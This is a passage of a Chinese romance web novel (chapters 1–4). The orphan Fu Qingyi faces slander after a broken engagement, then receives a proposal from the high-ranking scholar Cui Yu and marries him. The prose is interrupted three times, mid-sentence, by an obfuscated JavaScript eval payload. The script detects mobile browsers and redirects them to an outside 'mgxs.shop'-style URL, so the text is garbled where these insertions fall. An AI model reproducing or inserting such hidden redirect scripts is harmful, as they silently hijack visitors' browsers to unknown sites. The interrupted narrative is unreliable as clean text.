《天降夫君紫微郎》 1. 第 1 章 天应八年,冬月。 阴雨绵延半个月,天地间都被染成水墨浅灰,直到今日,才散尽阴霾,迎来晴空。 可这暖阳,却驱不散傅清漪心底的阴霾。 杜家退亲的文书,送来已逾半月,而坊间流言,不曾消减,反而变本加厉。 她对杜家小郎情意不深,父辈之间的交情,也早随着她父亲的故去,人走茶凉。退亲一事,早在她的预料之中,并未感到难过,街坊四邻非议,她也能看得开。 只是流言传多了,终究伤人。 连累到表舅,在甲坊署被挤兑,表兄也被差遣去偏远山乡,才让她感到愤慨、委屈又无奈。 虽然表舅一家没有因此迁怒,仍待她如初,但扪心自问,总是难以心安。她借此去向两位长辈辞行,打算离开上京,另谋生路。 不等表舅开口,表舅母宋氏豁达地先行说道:“这事儿,你别往心里去。他们爷儿俩的事,让他们自己扛。阿磊能出去当差,也算历练,大男人总窝在家门口的一亩三分地,能有多大出息?转过年他就十八了,我还指望他能混个小官儿,成亲的时候,也好风光一回呢!” 宋氏抬手抚着她的鬓发,目光透出慈爱,“你不到七岁就来了我家,和朝云、夕燕,放在一起养着。十年,就是块石头,也养出感情了。再说你在这个世上,除了我们,哪里还有亲人能投奔?往后除非是出嫁,才能提离开,不然可要寒了我们对你的一片心。” 傅清漪被说得热泪盈眶,不敢再提“走”这个字,转念又感伤——天大地大,竟无另一处容身之地! 这几日表舅总是早出晚回,纵使强颜欢笑,也能看出神色间的疲惫,显见是在署中,遇上了为难的事。 但是表舅一家,在她面前只字不提。 对她越好,她心里越愧疚。 愁肠百结,伏案描出的花样子不知不觉错了笔画。等她醒过神来,一整幅都快画完了,只因错了一处,竟是白忙了一场。 傅清漪无奈地叹了口气,这幅花样要绣在裙裾上,送给表妹生辰时穿,可不能出错。 把画纸揉成团,准备重新描绘。忽然听见前边有动静,似乎是表舅母在同人争执? 傅清漪心头一紧,被不安和紧张笼罩住,莫非因为退亲的事,又惹了麻烦? 顾不上多想,她立刻搁笔起身。 于家的院子小,只有前后两进,房间也挨的近。傅清漪往前院跑了没几步,已经能清楚地听到表舅母宋氏的声音。 “……你的心意我们领了,但是亲事就不要再往下说了。在我们跟前长起来,清清白白的女郎,给人家做妾,我们活着让街坊们戳脊梁骨,死了也没脸见她爹娘。此事别再往下说了。” 傅清漪的脚步一顿,果然和她有关系,有人说亲,让她给人当妾去?真是可笑!她只是父母双亡,又不是落入贱藉,怎么就到了为妾的地步? 宋氏的话才说完,另一个声音接着响起,嗓音尖利,“宋娘子这话好生糊涂,要是半个月前,她确实是个清清白白的好女郎。可她出言不逊,顶撞未来婆母,被杜家退了亲,眼下流言四起,哪个好人家敢聘她去做正头娘子?不信你跟街坊们打听打听,做妾也是有讲头的,可不是摸摸脑袋,就算一个。我这可是为了你们好,别等女郎彻底砸在手里,你们哭都找不到地方……” 傅清漪不由得头皮发麻,眼前浮现出,一张充满讥诮的三角脸,和一双满是鄙薄的吊梢眼——来说亲的是邻居齐氏。 齐氏也住这条巷子,但是缺乏邻里应有的和善。 当面笑脸迎人,背后搬弄是非,若是和她撕破脸摊开说,她又会撒泼不休,狗皮膏药般甩不下去。 傅清漪没被杜家退亲之前,齐氏倒是常来串门,看在杜家的份上,只说奉承的话。自杜家退后,齐氏再也没来过,但是背后没少传闲话,编排于家和傅清漪。 站了片刻,傅清漪听清了原委,是齐氏要给她的娘家侄儿纳妾,那可是个出了名的无赖! 傅清漪心里虽打怵,害怕被齐氏奚落,但是想到表舅母为了她,正和齐氏争执,她不能龟缩不前,紧了紧袖底的双拳,咬牙踏出月亮门。 前院聚了不少街坊,都是听见动静,表面是劝架,实则是来看热闹的。 宋氏这会已经移到院中,正在往外撵人,“齐娘子,若不念着两家的男人都是吃皇粮的,我非抡圆了扫帚把你打出去,带上你的东西快走,别再让我看见你!”扬手把齐氏带来的礼物扔过去。 齐氏被撅出来,脸面上挂不住,跳脚骂道:“呸!就你这样的,能教养出什么好女郎?杜家退亲都退晚了,一屋子油盐不进的东西……” “谁不知道杜家一屋子都是势利眼,早些年眼巴巴地求着傅家阿郎,才定下的亲事,现下人没了,就欺负起人家的遗孤来了?”宋氏不甘示弱,叉着腰反驳道,“他们家小郎,只是个备身左右,他们就把尾巴翘到天上去了?幸好他这职缺,左右千牛卫各十二人,加一块二十四个呢。哼,若是轮到他做了将军,指不定张狂成什么样子呢。就算他们不退亲,我们家的女郎不会嫁给这样的人!” 齐氏叫嚷道:“你少瞧不起人,说不准杜小郎哪会儿就升上去了,气死你!” “他升不升的,也便宜不到你身上,轮得着你出头?” …… 傅清漪顶着街坊们看过来的微妙眼神,挤过人群。 宋氏和齐氏吵得上头,挥拳要打,傅清漪怕宋氏吃亏,赶紧跑过去拦下她。虽然齐氏很欠揍,但是她毕竟是河渠令之妻,说不准背后还有杜家支持,一旦动手对宋氏不利。 眼见宋氏打不到自己,齐氏越发叫嚣,“你打,有本事你来打我,看把你能耐的,双福巷搁不下你了?” 傅清漪温声请宋氏息怒,对于齐氏喋喋不休的挑衅,她也很气愤,转身瞪着齐氏,怒火壮胆色,斥责道:“齐娘子,你不要太过分!” “哟,到底谁过分呐?我好心好意帮你操心,你们不领情,还要打我,到底是谁过分?”齐氏叉腰扬着头,阴阳怪气地指摘,“你别用这种眼神看我,知道你傅娘子厉害,未来婆母都能让你噎个半死,我们这种……” “闭嘴!”傅清漪冷声喝斥,截断她的话。宁得罪君子不得罪小人,同一巷子里住着,都知道齐氏的为人,谁也不想同她纠缠。 放在以前,傅清漪也不会跟她翻脸。但是齐氏这回做得太过分,拿做妾羞辱她,若是不能当面戳破,以齐氏无中生有的做派,以后她在上京城里再无宁日。 不给齐氏开口的机会,傅清漪抢着向众人诉说道:“各位街坊明鉴:杜家自小郎君升任备身左右,便萌生退亲之意。但他们又不想被街坊说他们势利,杜家主母卢娘子言语间故意贬损我爹爹,激我出言反驳,她则趁机给我扣上不敬长辈的恶名。当时齐娘子也在,我原以为她会看在街坊的情谊上,替我周全两句,可她竟一句话也没说!” 不顾齐氏反驳,她又高声说道:“我只好开解自己,齐娘子虽与咱们做街坊,但是她和杜家的卢娘子交好,不肯出头是因为左右为难吧。可杜家越做越过分,到处败坏我的名声,闹得上京城里,人人都当我是个没有教养的女郎,齐娘子不曾出来替我分辩一二。如今我才明白,你原来是等我彻底坏了名声,好拿去做人情!以前听卢娘子说,齐娘子这个侄儿,吃喝嫖赌全不落下,正经营生不做,全靠爹娘操持,家中已有一妻二妾,个个都他被毒打,现下想算计我去做第四房……” “你少血口喷人!”齐氏愤然跳脚,三角脸上皮肉抽动,指着她的鼻子喝斥,“你自己没教养,顶撞未来的婆母,坏了姻缘,红嘴白牙,想赖我我头上?没门!你……你再敢胡说半个字,我抓你去见官。” 对方气急败坏,傅清漪愈发沉稳,“各位街坊不妨想一想,我傅清漪六岁来上京城以后,一直住在双福巷,掐指一算也有十年了。大家低头不见,抬头见,我是什么样的人,相信各位自会分辨。至于齐娘子和卢娘子交好,更是人尽皆知,所以孰真、孰假?相信各位心里也都明镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347572|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般。” 她说得清楚明白,街坊们听完交头接耳,看齐氏的眼神都透出微妙。 有人吃过齐氏的亏,趁机帮腔道:“以前只知道齐娘子喜欢占便宜,嘴巴利害些……这要是真的,她也太损了。” “傅娘子是个老实人,从没和人红过脸,说的也真诚,我瞧着不假的。” “哼!齐娘子最喜欢捧高踩低,见着官眷,苍蝇闻见肉味儿似地,一股脑儿地往前凑,不知道的,还以为她跟人家多熟呢。杜家爷俩一个做库部员外郎,一个入了东宫千牛卫,齐氏巴结人家,十有八九的事儿。” …… 风头全往一边倒,宋氏也站出来给傅清漪撑腰,齐氏越分辩,大家越觉得她理亏。 傅清漪面上从容,藏在袖中的双手微微颤抖,幸好她平时与大家结善缘,话说出来,街坊们都信了,不然就要坐实缺少教养的恶名了。 齐氏占不到便宜,便撒泼地一甩袖子,尖利地嗓音叫嚷道:“你这个颠倒黑白的小贱人,一定没有好下场。老娘倒要看看,上京城里哪个瞎了眼的,敢娶你?” 宋氏抓起地上的扫帚要打,齐氏转身就跑,嘴里仍不干不净地咒骂。 宋氏将扫帚掷过去,差一点就打中齐氏,恶声警告,“贱妇,你再敢胡说,老娘打断你的腿!” 宋氏回身拉住傅清漪的手,“好孩子,别听那贱妇胡吣,她说的和放屁一样,咱们不要放在心上。” 傅清漪莞尔,点点头,“舅母放心,我不会放在心上的。” 她的话音刚落,眼前多了几个半大小子,笑嘻嘻地朝宋氏作揖,“给宋娘子道喜,又有人上你家来提亲了!” 宋氏听见“提亲”两个字就火大,没好气地骂道:“小混球,敢来消遣我?” 其中一个小子往门口一指,“谁敢消遣你?我们说的是真的,抬礼物的都到大门外了。” 方才只顾着和齐氏掰扯,大伙都没留神,外边响了许久的鼓乐。这会儿才发现欢快的曲乐,果真停在于家大门外。 傅清漪不禁悬心,今天是什么日子?先是一个齐氏就够晦气了,这会儿又是谁?揣着疑虑,陪着宋氏到大门外看虚实。 入眼的车马和仆役俱簪红花,红绸扎腰,满脸喜色,抬的礼物上也贴着朱红的“囍”字。傅清漪看到提亲的妇人四十岁上下的年纪,穿着酒蓝色吉祥纹衣裙,相貌端庄,仪态出众,面容和善。 是国子祭酒家的夫人顾氏,身上有三品诰封,身份尊贵,怠慢不得。傅清漪随着宋氏行礼,并将顾夫人请进正堂落座。 顾夫人与宋氏寒暄了几句,目光移到傅清漪脸上,含着笑问道:“这位就是傅娘子?” 傅清漪怔了怔,垂首道:“回夫人的话,妾正是傅氏。” 顾夫人朝她招招手,待她走近,拉住她的手上下打量,目光亮了些许,赞叹道:“亭亭玉立、眉目如画,端的是好相貌!” 顾夫人从衣袖中取出一支赤金嵌火玉凤钗,抬手插在她发髻上,盈盈笑道:“傅娘子好福气,这支发钗,为娘子添妆。” 给未出阁的女郎插钗,对方还是媒人身份,分明是替人相看,看中了才会做出这种举动。 傅清漪惊讶地看向顾夫人,手指在衣袖底下紧握。 方才心里一直隐约有猜测,以顾夫人的身份,能请她做媒的,也非泛泛之辈,可是这个当口,谁会聘她为妻呀? 不仅傅清漪,跟进来看热闹的众街坊们也感到惊讶,因为有齐氏方才的闹剧,有人忍不住出言打听,“不知顾夫人是替哪家说合这门亲事?” 顾夫人面露微笑,转脸对宋氏道:“你是傅娘子的长辈,实不相瞒,我这次来,是受清河崔氏二房之托,给女郎和崔学士牵红线。崔学士不仅相貌堂堂,且才华横溢,少年有为,可是上京城里打着灯笼难找的好郎君。想必你也听过他的名声。” 宋氏被惊得合不拢嘴,懵懵地重复道:“崔、崔学士?” 崔、卢、王、谢,四大世家之首的崔氏? 2. 第 2 章 崔、卢、王、谢,是瑨国的四大世家,以崔氏为首。 立国六十年,崔家已经出了两任宰相,十二位名士,远超另外三大家族,成为世家典范。 当今世上,崔氏一族家大业大,儿孙众多,除了嫡系子弟,还有不少庶出和旁系,也都是人才辈出。 顾夫人的话不仅让宋氏难以回神,傅清漪也深感震惊,久久不能回神。 崔学士……崔家麒麟儿? 顾夫人被宋氏发怔的模样逗笑,“宋娘子是高兴糊涂了么?正是崔学士,家住在升平坊崔家大宅,尚书右丞是他的大伯父,父亲是已故的大理寺少卿,母亲出身范阳卢氏,也是高门显贵。他自己年少有成,天应二年状元及第,翰林入仕,现下官拜紫微郎⑴,加集贤院学士,正五品的衔儿,断然不会辱没了傅娘子……” 顾夫人说一句,众人“啊”一声,到后边已是一片哗然。 紫微郎,是中书舍人的别号,因前朝,曾短暂的将中书省改名为紫微省,故得此雅称。后来虽改回旧名,但是还有人习惯称其雅号。 崔学士本名崔豫,幼时因勤勉聪慧,被先帝称赞,“敏而好学,来日良材”。 他十六岁殿试的时务策,针砭时弊洋洋洒洒千余字,不仅字字珠玑,且辛辣敢言。其中两项甚至被取用到新政中推行,惠及百姓。 他的曾祖和祖父都做过宰相。 父辈中,几位叔伯也各建树,小一辈里亦不乏有才识者,以崔豫最为出色,甚至已定下他为下一任家主。 少时成名,誉满天下。 不仅是上京贵女们心中的良配,亦是长辈们眼中的佳婿,登门说亲的踏破门槛。 出类拔萃的人,有为自己姻缘做主的资格,一句功业未成不成家,就把媒人们都打发了。 这一拖就是六年,和他差不多大的,孩子都满地跑了,崔学士还是孤家寡人。 饶是拖得年龄大起来,想嫁崔学士的,也大有人在,根本不缺高门大户的世家娘子。 所以傅清漪想破脑袋也想不明白,她与崔学士身份天差地别,且并不认识,怎么会向她提亲?是不是其中有误会? 傅清漪正欲开口,讨人嫌的齐氏不知何时又折了回来,挤在人群里,尖酸地问道:“顾夫人没有走错门?清河崔氏,可是咱们瑨国第一世家,崔学士又是国之栋梁,就算不尚公主,也得配个郡主吧?再不济也得是个高门贵胄,怎么会是这种小门小户的女郎呢?” 顾夫人脸色不虞,声音微冷,“齐娘子这是说的什么话?婚姻大事非同儿戏,岂能不问准确,而擅行?” 齐氏被噎了一句,仍不甘心,看傅清漪的眼神如毒蛇般阴冷,觍着脸又问,“既然如此,听说崔学士尚未娶妻,莫非要先纳妾?” 这张嘴真是欠抽! 这回不用顾夫人,她身边带来的婢女出声喝斥道:“这位娘子慎言!我家夫人身上有三品诰封,纳妾这等小事,也配让我家夫人出面?况且,清河崔氏钟鸣鼎食、诗书传家,又岂会做出未娶正室,先大张旗鼓纳妾的失礼之事?” 街坊们早就听不下去,附和着出声嘲笑,“齐娘子,你方才说的话还没掉地上,清河崔氏就来向傅娘子下聘了,现在知道谁真瞎了吧?” “齐娘子听听,是正室,你张罗纳妾的事,还是给自家女郎留着吧!” “还不自戳双目滚出去?真要等宋娘子拿扫帚,打你出去?” 齐氏脸上青一阵白一阵,又被街坊们轰笑着推搡,站立不稳,如过街老鼠般,抱着脑袋灰溜溜的跑掉,引得众人又是一阵轰笑。 傅清漪暗自松了口气,崔家这门亲事来得真是及时!当场就堵了齐氏的嘴,连街坊们对她的态度,也在瞬间转变。 之前,这些人在背后低声议论,传她被退亲绘声绘声,即使她驳斥了齐氏,他们之中也有人露出半信半疑。而顾夫人说出的话,让这些人全都扬着笑脸连声道喜,仿佛是相邻多年,情深义重。 想想和自己退亲的杜家小郎,只是千牛卫七品备身,就自以为前程不可限量,瞧不上她。 而崔学士无论父族,还是母族,都足够他当个纨绔混日子。 已是天子门生,还醉心仕途,扛起一族的荣耀。 他放着满上京的贵女不求,向她这个卑微的孤女求亲? 天爷,这上哪里说理去? 看着顾夫人留下的一院子的礼物,再摸摸发间的金凤钗,傅清漪还是觉得恍惚——崔豫当真来向她提亲了! 从甲坊署赶回来的表舅于万山,还有亲戚家回来的表姐妹和表弟,都围在宋氏身边问情况。宋氏已经说了三遍,口干舌燥地瞪着于万山,“你到底还想问几遍?” 于万山摇得像拨浪鼓,“这事不成!你这妇人昏了头?也不打听打听,崔家是什么样的人家,哪里能和咱们小门小户的结亲?当时就该回绝了人家。” 宋氏恼火地驳道:“你当说媒的是寻常人?那可是国子祭酒的娘子,三品诰命夫人!放在旁的时候,人家站的地方,咱们得避让二里地——你若是在家,回绝的话说得出口?” 于万山被噎得吱不出声,宋氏又指着地上的礼物,不满道:“崔家怎么了?再是高门大户、名门望族,也是他们遣人登咱们家的门,求娶咱们家的女郎,又不是咱们求他去了。水往低处流,人往高处走,我盼着孩子们飞上枝头,变成金凤凰才好,干嘛要回绝啊?” “这件事不成的!”于万山猛地一跺脚,转身走到傅清漪面前,语重心长道,“孩子,不是表舅心眼小,不肯盼你往高处去,实在是崔家的门第太高!那是十个杜家也比不过的。” 于万山越说越担心,眉头皱成一团,长长地叹了口气,“你被养在后宅里心思简单,不知人心险恶。表舅可是听说过不少,高门大户里的污糟事,没有强大的母家撑腰,挨打挨骂都是家常便饭,私下里的磋磨,更是难以提及——根本就不是人过的日子。若是你将来过得不好,表舅以后怎么有脸,去九泉下见你爹娘?” 一番话说完,大家都泄了气,宋氏更是眉头紧锁。 这些事情,傅清漪或多或少也有耳闻,但是眼下的情形,她有自己的主意。当今世道,女郎迟早要嫁人,不嫁,只能挽了头发当道姑,或者出家做比丘尼。 她还没有活到大彻大悟,出家遁入空门的地步,既然要嫁人,经过杜家这件事,不论高嫁还是低嫁,都会被人非议。 反正自己没有心悦别家的郎子,既然崔豫愿意娶她,索性就拣崔家这根高枝! 宁可被人酸,莫要被人笑! 就算表舅担心,深宅大院里苛待没有娘家撑腰的媳妇,难道小门小户就稳妥么? 遇到狠心的郎子被磋磨,妻子生不如死的事不稀奇,穷婆婆因儿媳多吃一口糙米饼,污言秽语地满街追打,她也曾见过。 恶人哪里都有! “此事我只能点头。”傅清漪行了一礼,郑重说道,“表舅莫怪,并非是我贪慕虚荣,而是因为杜家退亲的事,已经让上京城里风言风语,我若再拒了崔家这门亲事,世人会如何看我呢?他们必然会奚落我——连崔学士这样的郎子都看不上,不知是想嫁皇亲国戚,还是打算挽了头发做道姑?只怕以后,再也不会有人登门提亲了。” 于她而言,还有更重要的一点——崔家高门显贵,当今家主是尚书右丞,崔豫自己也官居正五品中书舍人,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347573|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后有谁再想为难于家,为难她,都要掂量一二! 崔家,是她离开于家,最好的立足之地。 她满怀信心地劝于万山道:“表舅放心,我到了崔家,一定恪守本分,孝敬长辈,敬重夫君,不负您和舅母对我的教诲。崔氏钟鸣鼎食之家,诗书簪缨之族,相信他们都是明事理的人,不会无冤无故地刁难我。” 宋氏抚着傅清漪的手臂,不舍道:“舅母盼你往高处去,嫁得越风光越好。可是崔家……舅母不敢说好,也不能说不好,只是担心你,能不能应付得来?你若是觉得勉强,也不必宽慰我们,大家想办法,退亲就是了,牛不喝水,不能强按头。” “舅母放心,我已经想好了。”傅清漪坚定地说道,“聘则为妻,若是过得不好,总能和离。相信崔家,也不会做不体面的事。” 于万山闻言,无奈地叹了一口气,好好的孩子,不可能让她做道姑,嫁皇亲外戚更是说笑,做妾或者做外室倒有可能。若是这样,岂能比得上,做崔学士的妻子光鲜? 所以这件事没有商量的余地,只能顺势而行了。 傅清漪的父母清贫,所留遗产不多。于家把她当自己孩子,也给攒了一份嫁妆,但是加在一起,比起崔家,仍是不值一提。 傅清漪宽慰道:“崔家知道咱们的门第,还肯下聘,说明人家不图我厚嫁。表舅母不必为嫁妆费神,这些足够了。” 宋氏轻声叹道:“但愿如此吧。只有三个月了,就算再多三个月,怕是也筹备不到更多。要紧的是能筹的东西,都要好的,咱们求个少而精吧。” 出阁的日子定在年后二月初二,天气尚且冰寒,并非娶亲的好时节。但是崔家挑了个上上黄道吉日,且往后三个月,都没有这么好的日子。挑日子不就图个姻缘美满和睦嘛,所以两家都没有异议。 于家准备嫁妆所用之物,崔家派来两位嬷嬷,教准新妇礼仪和规矩,尤其是昏礼的婚仪,更是不容错漏。傅清漪要从头一点一滴地学,幸好时间充足,有两个月时间,完全可以学熟练。 到了亲迎的日子,宋氏早早就起来张罗,忙得像陀螺。傅清漪也被簇拥着,坐在铜镜前,梳妆打扮。 今日出阁要盛妆,宋氏给找的两位喜娘,都是上京城里,婚嫁行当中的好手,不仅发髻梳得新巧,敷粉涂脂的手艺也不在话下。傅清漪亲眼看到铜镜里的脸,像换成了另外一个人。 在繁复的广袖襦衣衬托下,仿佛裹了糖霜的糯米圆子,被装进金漆彩绘的绿盘中。漂亮是很漂亮,只是不细看,都认不出是自己。 她不确信地问,“粉是不是厚了些?” 喜娘笑道:“娘子本就肤白貌美,只用了薄薄一层粉,现下正合宜。大喜的日子,粉要白,唇脂要艳,才能活色生香!” 想想别家的娘子出阁,似乎也是这般盛妆,只是扮到自己脸上,不习惯罢了。 窗外的天光一寸寸亮起来,院子里一寸寸热闹起来,嘻笑声此起彼伏,不时有人进来看新妇,并向她道声恭喜。闹闹轰轰,傅清漪脸上都要笑僵了。 等到迎亲的吉时,鞭炮声和锣鼓声掺和进来,终于达到鼎沸的程度。 她耳朵里如同塞满蜜蜂般,嗡嗡响着,吵得头发昏。幸好亲迎之后,入门、行礼、拜堂……喜娘一直陪伴轻声提点,她才没有行差踏错。 洞房内,要行却扇礼。 傅清漪曾远远望见过崔豫两回,从未说过话。此时他离得近,嗓声清润如弦乐,令人一扫耳中的疲惫。 他娓娓念出却扇诗,“莫将画扇出帷来,遮掩春山滞上才。若道团圆似明月,此中须放桂花开⑵。”在众人的喝采声中,他又恭敬地揖道,“请娘子却扇。” 3. 第 3 章 隔着纱扇,傅清漪胸膛里怦怦跳个不停。掌心沁出了汗水,握着扇柄的手指滑腻,唯恐脱了手,不免握得用力。 她偷呼出一口气,慢慢将团扇从眼前降下去,露出眉眼。在众人的起哄声里,她飞快地一抬眼。 从前离得远,只知崔豫风采出众,似一幅淡墨山水画,不染尘俗。 而今面对面相看,灼灼烛光拨云散雾,昔日朦胧的远影,在此刻转暗为明——芝兰玉树般的人物,身穿金丝绣吉祥纹朱红锦袍,头戴黑纱进贤冠,不见了水墨清雅,反而呈现出金碧山水的恢弘。 好看的人,果真是不拘一格。 崔豫抄手而立,如松似竹般挺拔。他是读书人,又是世家子,养得精细不输女郎,但是并不女气。 二十二岁的年纪,和他同龄的郎子都已经成家,往老成上奔了,而他的眉宇间还带着少年人才有的冷傲。眉骨分明,鼻梁挺拔,尤其是那双黑白分明的眼睛,有疏离的光,沉静如渊,兼纳了岁月给予的历练。 不知是他有意为之,还是惯来如此,眼神里带着上位者才有的压迫感,傅清漪只匆匆瞧了一眼,便不安地垂下头。 在众人的笑闹声里,傅清漪依着喜娘的提醒,完成后边的同牢、合卺、结发,至撒帐才算礼成。 崔豫被拉出去饮酒,洞房里只剩下了傅清漪。 夜色浓郁,烛影摇曳。 随着耳边变得清静,入目尽是陌生的陈设,角落的暗影像蹲伏的异兽,彼此观望打量。无尽的陌生气息,将她紧紧勒住,再想到将要面对的一大家子,不安在心底持续发酵。 此刻,她才深切地感受到,自以为够坚强、够明白,终究只有十六岁,阅历太少,动真格的就开始打退堂鼓。可婚书都签了,堂也拜了,退是不可能的。 “傅清漪,别怕,别怕……” 她呢喃着,低头搓着掌心的冷汗,手指微不可察地颤栗,平复着心绪问自己,“不是都想好了么?人家又不会吃了你,怕什么?不会比你在鹜州遇到的事情更难。既来之、则安之,与其自己吓自己,不如想方设法尽快适应,在崔家立足,你一定能做到的……” 自我劝解几句,心底果真升起独自面对的勇气。 房门忽然被人从外边推开,接着鱼贯进来一行婢女,为首年长的妇人行礼如仪,自称姓王,是卢夫人遣来照应新妇的傅姆。 卢夫人是崔豫的生母,也是她的婆婆,出阁前曾遣嬷嬷去于家,用两个月时间教她规矩,确保她不会在婚仪上出错。 现在安排王傅姆来,想必也是同样的道理,往后在崔府过日子,还需傅姆引导,免得惹出笑话——大户人家的女郎,都有自己的傅姆。 傅清漪客气地唤她一声王傅姆,王氏没有仗着是卢夫人遣来的便露出轻慢,反而言辞恭敬,举止得体。 王傅姆让跟来婢女向她行礼,自陈名姓,除了一个嬷嬷,还有四名近身侍奉的大丫鬟,和两名粗使婢女。 王傅姆又道:“娘子想必已经乏累,请准许奴婢侍奉您更衣用膳。” 当初嬷嬷们教导认真,她学得也仔细,如今一样一样的做下来,分毫不差,王傅姆目露赞许,轻轻颌首。 用过饭,洗漱后重新坐回榻上,王傅姆躬身道:“娘子稍坐,二郎君稍后便回来。奴婢们去门外候着,您若有什么吩咐,拍拍手,奴婢们听到了,就会进来。” 王傅姆带着婢女们退出去,室内又剩下她一个人,不知崔豫几时回来,傅清漪等的无聊,便倚靠床围阖眼休息。 迷蒙间忽听有人唤“二郎君”,立时把她惊醒,端正了坐姿,努力睁大眼睛。 房门轻响,闪进来一道绯红的身影,接着房门被人从外边关上。 崔豫神色清明全无醉意,目光一如之前那般清冷无波,掠过她的脸时,匆匆说了一句,“累了就睡吧。” 傅清漪挤出微笑,正想说不累,他已收回目光,脚步不停,行至桌案后边坐下,从怀里取出一封信,急切地展开,在灯下细看。 傅清漪的笑僵在脸上,她知道顾夫人提亲时,说崔学士心仪她,想要求娶,都是托词。虽然没想通为何是她,但是匆匆一个照面,她已经看懂了,自己纵使穿着嫁衣,在崔豫眼中,和房中贴着“囍”字的物件是一样的,唯一的区别是,她会喘气。 她抠着手指默默端详,崔豫的眉头一直没有舒展,不知是信上写的内容要紧,还是写信的人要紧? 脑海里蓦然浮现,从前听人说过一个故事:一对年轻男女互相爱慕,却因为某种缘故不能相伴,二人无奈洒泪分别。郎子另娶她人,洞房花烛夜,收到爱人写来的诀别信,新郎泪湿衣襟…… 她这边正在胡思乱想,崔豫突然抬头,紧盯房门,王傅姆在门外压着嗓音斥道:“临渊,你鬼鬼祟祟的来干什么?” 被称作临渊的人,声音很年轻,笑嘻嘻回道:“傅姆还没去歇息?小的来看看郎君歇下了么,有件很要紧的事回禀,不敢耽搁。” 王傅姆声音威严,低声骂道:“混账东西,也不看看这是什么地方,是你一个小厮能进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347574|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的吗?腿脚不要了吗?赶紧滚!不然,先赏你一顿乱棍,再拎你到夫人那里去请罚!” 崔豫早已起身,大步走过去拉开房门,“傅姆,是我让他来的,确实有要紧的差事,说完就让他回去。” 王傅姆转身挡在门外,格开他与临渊的视线,朝他恭恭敬敬地行礼,“郎君恕罪,并非奴婢逾越,实在是夫人吩咐下来,奴婢不敢不遵。夫人吩咐:郎君成亲,这三日休沐在家,只与新妇做伴。若是有哪个胆敢将公事递到您跟前,冷落了新人,先拿乱棍打一顿,再交由夫人发落。请郎君体恤,莫要为难奴婢。” 崔豫不悦,道:“傅姆,何须如此严苛?我不出去,只让临渊近前回两句话,如何?” 王傅姆的腰深深地弯下去,“郎君若是执意如此,奴婢不敢强阻。但请郎君应允,临渊回话后,与奴婢一同承受棍棒,并去向夫人请罪。” 王傅姆答的不卑不亢,语气坚定。 崔豫不语,不动,其他人也不敢动,皆是恭敬地低着头,院子里霎时静得鸦雀无声,只余风刮过门窗时,发出冷戾地轻啸。 二月里,天气乍暖还寒,前两天的积雪犹在,寒气随着凉风灌进来,让人遍体生寒。 傅清漪瑟缩了下,绷紧了心弦,不禁替王傅姆捏一把汗。 片刻后,崔豫退后一步,抬手关闭房门,咣当!虽不是摔门,也足以让人心头震颤。 “洞房花烛明,燕馀双舞轻,正宜阴阳调和,请郎君和娘子珍惜良宵,早些安歇。”隔着房门,王傅姆的声音再次响起。 不知道王傅姆是嫌自己没挨打,还是觉得崔豫不够气?至少这份胆色……不愧是卢夫人派来的,背后有人撑腰就是硬气。 崔豫站在原地,隔着数步远,傅清漪难以看清他的侧脸,不知他准备压下怒火,还是酝酿发作。 以崔学士如今的年岁,官做到五品,老母亲打发来的傅姆,都敢驳他的面子,怎么想都憋屈,发火也在情理之中。若是压下去,也没啥,官做到一品,也要被一个“孝”字压着。 不过,这么一闹,她不禁起疑,临渊要传的话,和那封信的主人有关,对方究竟是什么人呐? 她正在琢磨,发觉眼前人影动了动,崔豫转身朝她走来。 看来,他不会对王傅姆发作了。不过,面色沉闷……他奈何不了王傅姆,该不会想拿她出气吧?傅清漪顿时绷紧了脊背,往床围后边缩了缩。 眼见他越走越近,傅清漪心中不安,”刷”地一下站起来,满心防备地盯着他。 4. 第 4 章 崔豫并没有看她的脸,大概是会错了意,抬手示意,“不必拘礼,坐吧。”说罢,他与她隔着一个人的距离坐下,身姿板正,目视前方。 傅清漪偷瞥了一眼,他脸色变得快,此刻已经收敛情绪,瞧不出喜怒,观他方才的语气和举止,应当不会迁怒于她。她心里踏实了些,在另一边侧身坐下。 房间里静极了,甚至可以听到,远处偶尔传来的笑闹声,想是前院的宾客还未散去。 喜鹊登枝的灯架上,烛花“毕剥”一声爆裂,打破室内的沉静。 崔豫轻咳一声,开口时语气平静,听不出愠怒,“折腾一天,辛苦了。” 傅清漪拘谨地笑笑,“还好。”忽然想到什么,她再次起身,“要妾服侍您盥洗吗?” “不必,我已经洗漱过了。你坐。”他的怒气似乎散尽了,想了想,闲话家常般问道,“你可曾读过诗书?” 